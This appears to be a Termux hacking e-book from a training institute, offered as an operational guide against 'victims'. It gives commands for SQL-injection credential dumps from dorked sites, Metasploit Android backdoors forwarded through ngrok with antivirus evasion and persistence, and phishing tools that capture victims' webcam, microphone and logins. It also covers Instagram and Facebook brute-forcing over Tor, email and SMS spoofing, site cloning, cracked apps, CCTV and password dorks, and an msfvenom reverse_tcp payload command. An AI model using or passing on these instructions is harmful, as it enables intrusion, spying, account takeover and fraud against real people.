
 





 

 

 

 

 

 
 

About 

 
Hakimi InfoSec is an institution which provides latest Computer 

Courses for the upcoming tech-savvy generation. We have been 

working since 10 years. We are delivering technology based 

services and trainings to students and professionals. We are 

specialized in IT programming, Ethical Hacking, Cyber security, 

Website security, Web designing and development, Digital 

Marketing, Accountancy and more. We provide students the best of 

our knowledge which helps them to add value in their bright future. 

We believe in quality, client and Students satisfaction more than 

anything else. As we all know nowadays computer education is 

necessary for all and we are providing it in a manner that our 

trainees get the best in all educational field.'
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1. Termux Installation and Setup 

 

As we all know Termux provides as linux terminal like environment in our android 

device even its rooted or non-rooted but there is some things different from Termux 

like Linux have “apt-get install package name” but in case of Termux we use “apt 

install package name” or “pkg install package name”. 
 

 
Metasploit-Framework:- 

It is the most important tool for exploitation according to my experience so we firstly 

install it using given commands. 

$ apt update && upgrade –y 

$ pkg install unstable – repo 

$ pkg install metasploit 

Now wait until everything is done. The downloading speed is depend on your internet 

connection. 

$ Msfconsole 

Now wait until it show Metasploit-Framework banner. Once it done now you can use 

metasploit in your way. 

 

SqlMap:- 

It is used in web application testing and test more then 8+ sql injection on given 

input url we describe it more in web app pentesting chapter. 

$ apt install git 

$ git clone https://github.com/sqlmapproject/sqlmap 

https://github.com/sqlmapproject/sqlmap


$ cd sqlmap 

$ python2 sqlmap.py –h 

Now it show all the commands and usage of sqlmap tool. 

 

Net Tools:- 

Net tools is one of the most important package or tool for Termux because it provides 

us network information in Termux interface. 

 

$ apt update && upgrade -y 

 

$ apt install netools 

 

$ ifconfig 

 

Now it show your network configurations. 

 

Apache2 Server:- 

We can host our html and files in localhost using apache2 server so it helps us a lot 

to host our file for different purpose and it’s important to install it. 

 

$ apt update && upgrade –y 

$ apt install apache2 

$ apt install nano 

$ touch index.html 

You can edit this html file also as you want. 

$ mv index.html /data/data/com.Termux/files/usr/share/apache2/default-site/htdocs/ 

$ ifconfig 

 

Now your local ip address showed as wlan0 copy it and paste it in your browser 

to verify it works properly. 

 

This tools are mainly used in most of the pen-testing and you can also install more 

tools if you want. So it’s time to learn new things so excited let’s get started. 

 

2. Web Application Testing With Termux 

In web application pen-testing we going to learn the common vulnerabilities and 

which are easy to exploit (XSS (Cross-Site Scripting) and Sql Injection). So first of 

all we need to know what is XSS vulnerability and Sql Injection and how hackers or 

attack exploit it and make access on target website. 



 
 
 

XSS Vulnerability:- 

Cross-site scripting is the client side vulnerability in which attack or hacker inject 

malicious scripts from the input of website which can be a comment box. Contact 

Form even using search bar of browser and able to upload files or redirect visitors to 

another phishing site. 

 

Exploitation:- 

 
Mostly this vulnerability is exploited with Beef tool in Linux but we can also scan 

this vulnerability with using Click Jacking-Tester tool in Termux and then you can 

exploit it from directly from you browser and inject your scripts you need to learn 

some basic of java script for it. 

 

Installation of Click Jacking-Tester:- 

 

$ apt update && upgrade -y 

 

$ apt install git -y 

 

$ apt install python2 -y 

 

$ git clone https://github.com/DV4inci/Clickjacking-tester 
 

$ cd Clickjacking-tester 

 

Now make a text file which contains list of urls you want to scan. 

https://github.com/DV4inci/Clickjacking-tester


$ Chmod +X * 

 

$ ./Clickjacking-tester.py filepath.txt 

 

Now it start scanning all the links and give you result txt file of vulnerable sites. 

 

Sql Injection:- 

Sql Injection is used to exploit websites which have error in their Structure Query 

Language (Sql) and that’s why this is a server side error and this type of 

vulnerabilities is scanned and exploited with the help of SqlMap and it works in 

Linux as well as in Termux which can try more than 8 sql based injection on target 

website login panel. 

 

Exploitation:- 

So first of all we need to find error in php of website for example: - 

http://www.example.com/php?id=4. You can find lots of vulnerable website with the 

help of google dorks by search php?id=4 in search bar and it show list of websites 

then you can scan them and find out which is vulnerable with the help of SqlMap. 

 

$ apt update && upgrade -y 

 

$ git clone https://github.com./sqlmapproject/sqlmap 
 

$ cd sqlmap 

 

$ chmod +X * 

 

$ ./sqlmap.py -u “http://www.example.com/php?id=4” --dbs 

 

Now you need to wait until scan is completed and database table showed you and it’s 

depend upon your internet connection how much time it takes. Once it done you can 

go with following commands. 

 

$ ./sqlmap.py -u “http://www.example.com/php?id=4” - D table name –table 

Now it show you all the column in table 

http://www.example.com/php?id=4
https://github.com./sqlmapproject/sqlmap
http://www.example.com/php?id=4
http://www.example.com/php?id=4


$ ./sqlmap.py -u “http://www.example.com/php?id=4” - D table name – T column 

name --column 

 

Now the list of username, passwords, etc. folders showed you can dump it as a txt file 

using given commands. 

 

$ ./sqlmap.py -u “http://www.example.com/php?id=4” - D table name – T column 

name -C username --dump 

 

3. Metasploit-Framework + Mob-Droid 

I hop most of the peoples heard about metasploit and 80% of them know how to use 

metasploit in Linux and even in Termux. So in this chapter we learn how to make 

metasploit payloads or backdoor without wasting time in typing long commands and 

how to make payload in different formats for different platforms. So you guy’s 

excited let’s get started. 

 

You need to have metasploit in your termux if you don’t know how to install it just 

checkout our 1st chapter and if you have it then processed. 

 

We use Mob-Droid for generating payloads for different platform in different formats 

like python, Exe, Shell, Apk and the special thing with Mob-Droid is that you just 

need to select your options to done your work. 

 

Installation of Mob-Droid:- 

$ apt update && upgrade -y 

 

$ apt install python2 -y 

 

$ git clone https://github.com/kinghacker0/Mob-Droid 
 

$ cd Mob-Droid 

 

$ python2 mob-droid-termux.py 

 

Now select your options and generate different payloads and grab your payloads 

directly into output folder of Mob-Droid.

http://www.example.com/php?id=4
http://www.example.com/php?id=4
https://github.com/kinghacker0/Mob-Droid


This tool is used in our next chapter for making undetectable payloads so I strongly 

recommend you to install it in your device. 

 

Hack Out Of LAN (Local Area Network) Device:- 

Most of the our victims are away from us so they connected are connected with any 

other network and if we want to install backdoor in their devices and want to hack 

then we need to make our backdoor with using port forwarding and secondly we 

need to payload or backdoor with any other apk so victim install it in their device. 

We can’t bind apk backdoor with apk application with using Termux in android 

because it’s a big deal but we can make our payload which works out of local area 

network for lifetime. So let’s learn it. 
 

 
Port Forwarding:- 

You can do port forwarding with ngrok for temporary and if you want permanent port forwarding 

then I recommend you to use Portmap.io website which provides you once free port forwarding for 

lifetime you can watch tutorial on our YouTube channel or website for port map. In this chapter 

am going to use ngrok for temporary port forwarding so let’s get started. 

 

Ngrok :- 

Go to https://www.ngrok.com and signup their then download and setup in your 

termux. The tutorial of installation is available on ngrok official website so am not 

going to waste time in explaining you how to setup ngrok 

https://www.ngrok.com/


Once you successfully setup ngrok on your Termux then turn on hotspot of your 

android device and follow given commands. 

 

$ ./ngrok tcp 4444 (You can choice any port in place of 4444) 

 

Now wait until it show you online status. Then the forwarding host and port are 

showed on interface for example: - tcp://ngrok.com.io-44558 

 

As I mentioned in our 3rd chapter we use Mob-Droid to make payloads in easy way so 

let’s make port forwarding payload. 

 

$ cd Mob-Droid 

 

$ python2 mob-droid-termux.py 

 

Select your payload platform and enter lhost as ngrok.com.io and lport as 44558 in 

my case and proceed 

 

Now it generate you out of lan payload with ngrok you can exploit it with metasploit 

with lhost 0.0.0.0 and lport 4444. 

 

You can watch video tutorial on our YouTube channel for it. 

 

Undetectable and Persistent Backdoor:- 

So as we all know android devices have inbuilt antivirus which can easily detect 

payloads or backdoor so in this chapter am going to show you how to make any 

backdoor or payload undetectable and Persistent. So let’s get started. 

 

Undetectable:- 

We all know if we install malicious applications in android then it can easily traced 

by inbuilt antivirus of android and play protect so using this method you can bypass 

play protect and antivirus of android. 

 

Firstly we need to generate payload of metasploit for android. I recommend to use 

Mob-Droid for it. 

 

Once your payload successfully generated then you need to install Apk-Editor pro 

application in your android. so download it and follow given steps. 

 

1. Open Apk-Editor Pro application and select your payload. 

2. Click on Full Decode option. 



3. Now click on manifest file option. 

4. Delete unnecessary permissions 

 

Example:- Write contact, Write messages, Write Call logs, Record Audio, etc. 

its depend on you what permission you want to access of victim device. 

 

5. Click on rebuild option. 

 

Now your payload is successfully bypass android anti-viruses and play protect.  

 

This method is works in both rooted and non-rooted android and don’t delete 

permission from manifest like stay awake, access internet, etc. Because it can 

be make an error. 
 

 
Persistent Backdoor:- 

If victim close the payload apk or backdoor apk then our meterpreter session is died 

and start again if victim click on backdoor or payload apk. So it’s a big problem so in 

this chapter we teach how to make your backdoor or payload persistent so it run 

automatically even victim reboot their device. 

 

 
 

Start meterpreter session in your terminal and follow given steps and commands 

smartly. 

 

1. We need to go into any of the directory of victim device 

 

$ cd /sdcard 



2. Now upload a persistent.sh file  
 

$ upload persistent.sh fileptah 

 

3. Now start shell with given command 

 

$ shell 

 

4. Now go to directory where you uploaded the persistent.sh file. In my case it is 

/sdcard 

 

$ cd /sdcard 

 

5. Now execute the persistent.sh script 

 

$ sh persistent.sh 

 

Now wait until it execute 2-3 times then close the shell session with ctrl + c. Now 

you backdoor is persistent successfully. 

 

4. Amazing Termux Tools 

In this chapter we going to introduce you with some of the amazing tools which have 

abilities to exploit things just using a link and you need to have some social 

engineering skills and sharp mind. If you have this stuff then you can easily deal with 

this tools and your victims also. 
 

 



WishFish :- 

It is modified by (github.com/kinghacker0) and coded by 

(github.com/thelinuxchoice) which is used to perform a phishing attack in which you 

can grab victim front cam snap. 

 

$ apt update && upgrade -y 

 

$ apt install wget php openssh 

$ git clone https://github.com/kinghacker0/WishFish 
 

$ cd WishFish 

 

$ bash wishfish.sh 

 

Now turn on your Hotspot and go with ngrok. Once your link is generated then you 

can send it to victim and grab snaps. 

 

 

SayHello :- 

Sayhello tool is developed by (github.com/thelinuxchoice) which performe a 

phishing attack in which you can grab victim microphone recording. 

 

$ git clone https://github.com/thelinuxchoice/sayhello 
 

$ bash sayhello.sh 

 

Now turn on hotspot and go with ngrok. Once your link is generated then you can 

send it to victim and microphone recording. 

 

 

Black-Water:- 

It is costume phishing page maker tool which is developed by 

(github.com/kinghacker0) in which you can host any website phishing pages and grab 

victim credentials. 

 

$ git clone https://github.com/kinghacker0/Black-Water 
 

$ cd Black-Water 

https://github.com/kinghacker0/WishFish
https://github.com/thelinuxchoice/sayhello
https://github.com/kinghacker0/Black-Water


Now make sure you put your index.php and edit wishfish.html with as your phishing 

site and you can also download complete pack of 10+ phishing sites to host in Black- 

Water. 

 

Turn on Hotspot and go with ngrok. Once your link is generated then you can send it 

to victim. 

 

 

OSIF:- 

This tool is one of the best facebook information gathering tool according to my 

personal experience because it provides you lot of information of your facebook 

friends for example :- Email, Phone Number, User ID, etc. You can also use bot to 

perform spams. 

 

$ git clone https://github.com/Ciku370/OSIF 
 

$ cd OSIF 

 

$ pip install -r requirement.txt 

 

$ python2 osif.py -h 

 

You need to create fake account and make friends on it then you can generate auth 

token in osif with the fake account Email and Password and dump the information 

of your friend list. 

 

 

 
 

Instashell:- 

It is used to brute force instagram accounts and the special thing is that you no need 

to root your android. Create wordlist and start brute force attack. 

 

$ git clone https://github.com/thelinuxchoice/instashell 
 

$ cd instashell 

https://github.com/Ciku370/OSIF
https://github.com/thelinuxchoice/instashell


Now open new session and then start tor 

 

$ pkg install tor 

 

$ tor 

 

Once your tor started then go back to instashell session. 

 

$ bash instashell.sh 

 

Now enter details and proceed.  

 

 

Firecrack:- 

Bruteforce facebook accounts with the help of firecrack tool. It works on tor network 

and need passwordlist. 

 

$ apt install python2 

 

$ pkg install mechanize 

 

$ git clone https://github.com/Ranginang67/Firecrack 
 

$ cd Firecrack 

 

$ pip2 install -r requirements.txt 

 

$ python2 firecrack.py 

 

$ help 

 

Now select your options and start brute forcing account. 

 

User Recon:- 

Find username across 75+ social media platforms with the help of this amazing 

information gathering tool. So you can gather information of victim by finding all 

their social media accounts. 

https://github.com/Ranginang67/Firecrack


$ git clone https://github.com/thelinuxchoice/userrecon 
 

$ cd userrecon 

 

$ chmod +X + 

 

$ ./userrecon.sh 

 

Now put the username of victim and press enter then the process of tracing username 

started. 

 

 

5. Social Engineering 

As we all know social engineering is the one of the most important technique which 

helps a Hacker to perform hacking attacks in unique way because now days peoples 

are more aware from Cyber security and it’s difficult to trap someone’s in an attack 

like phishing, backdoor, etc. So in this chapter we going to teach you some of the 

social engineering techniques which really helps you in real life hacking. 
 

 
 

 

 
Email Spoofing:- 

Peoples more trust on emails because many activities like id verification for making 

Instagram, Facebook even new Google account with the help of an old email ID and 

if 

https://github.com/thelinuxchoice/userrecon


Any suspicious activity found on our any of the account which connected to our 

email then a mail was sent to us for real-time protection. 

 

Hackers and attacks send fake mail to target email with any email ID for example:- 

Hacker send you an email with fake email of Facebook 

(facebooksupport@email.com) which contain an phishing page link. So the chance 

of victim enter their details increased. We can do email Spoofing using many tools or 

services but I recommend you to use my favorite 

 

Email Spoofed Tool - https://emkei.cz/?reCAPTCHAv2 
 

In this tool you can fully customize the html of mail, attach files and more than this 

it provides you advance options for bypass google spam mail detection. 

 

SMS Spoofing:- 

Peoples are more alert to their message box for getting OTP, Bank Transaction 

Details, Credits and Debits, etc. So if a hacker can do SMS spoofing it gives a more 

advantage to their attack on target. 

 

There is no particular tool to perform SMS spoofing but you can send SMS with the 

help of different websites and android applications which provide you free SMS with 

company Number for example :- 4444, 44558, etc. Here is list of some of the website 

which I used in previous days and find it works good. 

 

• https://globfone.com 

• Globfone Android Application 

• https://afreesms.com 

• https://freesmsindia.com 
 

You can google for more related websites and find out which works for you. Because 

sometimes it works and sometimes not. 

 

Website Cloning:- 

Website cloning technique is most used in previous years to gather information of 

peoples. In website cloning scammer make fake website of any website for 

example: - Amazon, Flipkart, etc. Any of the E-Commerce website where peoples 

enter their details like Credit card, Phone Number, etc. then scammer retrieve it and 

sometimes they get paid from customer and then send broken or other thing which 

victim doesn't buy. This type of websites don’t provide cash on delivery and 

sometimes ask for 50% advance. It’s a big crime so we don’t describe it more. 

https://emkei.cz/?reCAPTCHAv2
https://afreesms.com/
https://freesmsindia.com/


You can clone any website with the help of different cloning tools but I recommend 

you to use httrack website or android application and host it with Black-Water tool as 

we learned in previous chapter. 

 

E-Commerce Scam:- 

If you notice sometimes we get referral links form friends or relatives on social- 

media accounts mostly on WhatsApp in which the organization or company offer 

their products in cheapest price for example: - IPhone in 10 dollars, Laptop in 50 

dollars, etc. and when you click on that link then it redirect to the website and ask for 

your details like credit card and phone number then give task to share their link with 

10 peoples. 

 

Actually it is the biggest information gathering phishing attack which spread very fast 

because peoples share their links with 10 others then 3 to 4 peoples from 10 do same 

thing and spend link to 10 others. In this social engineering phishing attack scammer 

retrieve all the data of victims and then find out which victim is to deal and then 

perform other hacking attacks on them to grab their money. 

 

This scam based on website cloning technique. In which scammer make fake clone of 

E-Commerce websites and then spread their link of phishing attack. 

 

We don’t describe it more deeply because it’s also a big crime: p and I also 

recommend you to don’t do this type of scam. Unleash the power of technology. 

 

 

 
 

6. Reverse Engineering 

 

Reverse Engineering is the one of the most important skill in field of Cyber security 

and Ethical Hacking because if you have good knowledge in reverse engineering then 

you can hack things more smartly you need to have good skills of software 

development for it. So in this chapter we going to introduce you with some of the 

reverse engineering tricks which helps you lot in you hacking filed. 



 
 
 

Mod Android Apk:- 

 
The mean of cracking software's, Mod, Jail Breaking are same with different names. 

You can download lot of cracked versions of android applications from different sites 

but I recommend you the best websites according to my personal opinion. 

 

1. Mod Droid - https://moddroid.com/ 

2. AC-Market – https://www.acmarket.net 
 

This two websites are also known as Cracked Version of Play Store. There you find 

almost all play store applications mod version. 

 

 

 

 
 

Crack Android Apk:- 

As you know we can crack windows software with using different tools and use them 

free to lifetime or make changes according to us. The same thing you can do with 

android apk in your non rooted android device using given applications. 

 

1. Lucky Patcher – www.hakimiinfosec.in 

2. Apk Editor – www.hakimiinfosec.in 

You can remove ads, Change Icon, Change Values, etc. using this powerful android 

application in your non-rooted android device. 

https://moddroid.com/
https://www.acmarket.net/
http://www.hakimiinfosec.in/
http://www.hakimiinfosec.in/


Undetectable Backdoor:- 

As we learned in previous chapter how to make metasploit-framework payload 

undetectable so it can bypass android inbuilt anti-virus and paly protect. 

 

The main principle of the making backdoor or payload undetectable is decrease the 

permissions of manifest file and sing with apk-editor. If your backdoor have low 

permissions then it can bypass play protect and the signature of apk-editor bypass the 

android inbuilt anti-virus 

 

1. Edit Backdoor with Apk-Editor. 

2. Delete some useless permissions of manifest file 

3. Rebuild backdoor with apk-editor signature. 

 

So it makes it comfortable with android platform. 

 

 
7. Google Dorks 

As we all know google is the most powerful search engine then others and 90% 

peoples use it. The power of google also used by hackers or attackers to find out 

different type of information and use google as a powerful information gathering tool 

called google dorks. So in this chapter we going to introduce you some of the google 

dorks. 
 

 

 

 
 



CCTV Dorks 

• Intitle:”Live View / - AXIS” | inurl:view/view.shtml^ 

• Inurl ViewerFrame?Mode= 

• inurl:view/indexFrame.shtml 

• Intitle.”EvoCam”inurl:”webcam.html” 

• allintitle: ”Network Camera NetworkCamera” 

 
Sensitive Data Dorks 

• Filetype:bak createobject sa 

• filetype:bak inurl:”htaccess|password|shadow|htusers” 

• filetype:cfg “mrtg”target 

• filetype:config intext:appSettings “User ID” 

• filetype::dat “password.dat” 

 

Local File Inclusion Dorks 

• Inurl:/view/lang/index.php?page=?page= 

• inurl:current_frame= 

• inurl:language= 

• inurl:path_to_calendar= 

• inurl:ajax.php?page= 

• inurl:path_to_calendar= 

• inrul:section= 

You can also google for it some website provides google dorks for free and you can 

also type manually code to gather information of particular website. 

 

 

 
8. Automation Scripting 

If you don’t want to become a script kiddie then this chapter is one of the most 

important chapter for you in which we going to introduce you how scripts and tools 

works and how you can code your tools. 



Python:- 

Python is the most popular language now days and the value of python programmers 

increased day by day because it easy to code and more powerful than other 

programming language. You must need to learn python because it’s used in making 

scripts or tools, Machine programming, etc. 

You can watch video tutorial of Black-Hat python. 
 

 

 
Shell Scripting:- 

Shell scripting or bash is used hackers or pen-testers in linux for making automate 

working scripts which reduce their efforts. As we used many tools most of the tools 

are coded in bash and very powerful. 

The main point of shell scripting is you can type command in row and save as a .sh 

file then execute it and all the commands executed one after another. For example 

apt-get update 

apt-get upgrade -y 

apt-get install package -y 

You can also run installed packages or tools 

msfvenom -p android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8080 R> 

payload.apk 

and save this file as filename.sh 

then execute this command in terminal and it automatically generate a android 

palyoad for you 

 



 

 

 

 

 

 

 

 

 

 

“No technology that's connected 

to the internet is unhackable.” 

― Abhijit Naskar, 


